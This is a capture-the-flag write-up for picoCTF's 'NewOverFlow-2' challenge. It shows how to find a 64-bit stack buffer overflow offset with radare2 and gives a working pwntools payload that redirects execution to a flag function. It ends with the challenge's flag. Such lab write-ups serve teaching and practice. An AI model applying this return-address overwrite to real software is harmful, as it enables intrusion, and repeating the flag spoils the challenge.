NewOverFlow-2
Problem
Okay now lets try mainpulating arguments. program. You can find it in /problems/newoverflow-2_5_13f3d3dc09fc09d6d5db8adfa899a05d on the shell server. Source.
Solution
The challenge author forgot to remove the
flagfunction so this is solvable using the same method as NewOverFlow-1Find the offset/padding
You can use the method described in rop64 with the
cyclicandcyclic_findor you can use the followingOpen vuln in radare2 with
r2 ./vulnRun
aaaaRun
pdf @ sym.vulnto getvar int local_40h @ rbp-0x40The
0x40is the buffer location so 8 more bytes are needed to get past the "saved ebp register"So the offset is
0x40+8
Run
afl~flagin radare2 to get the address offlagandafl~mainto get the address ofmain.We can not offset and call the
flagfunction directly because that would cause a stack misalignment in 64-bit. So instead we form out payload by doingpadding + main_address + flag_addressinstead of justpadding + flag_addressas we would in 32-bit.We can use
p64from pwntools to convert the hex addresses to little endian.Payload complete:
python2 -c "from pwn import *; print 'A'*(0x40+8) + p64(0x004008ce) + p64(0x0040084d)" | ./vuln
Flag
picoCTF{r0p_1t_d0nT_st0p_1t_b3358018}
Last updated
Was this helpful?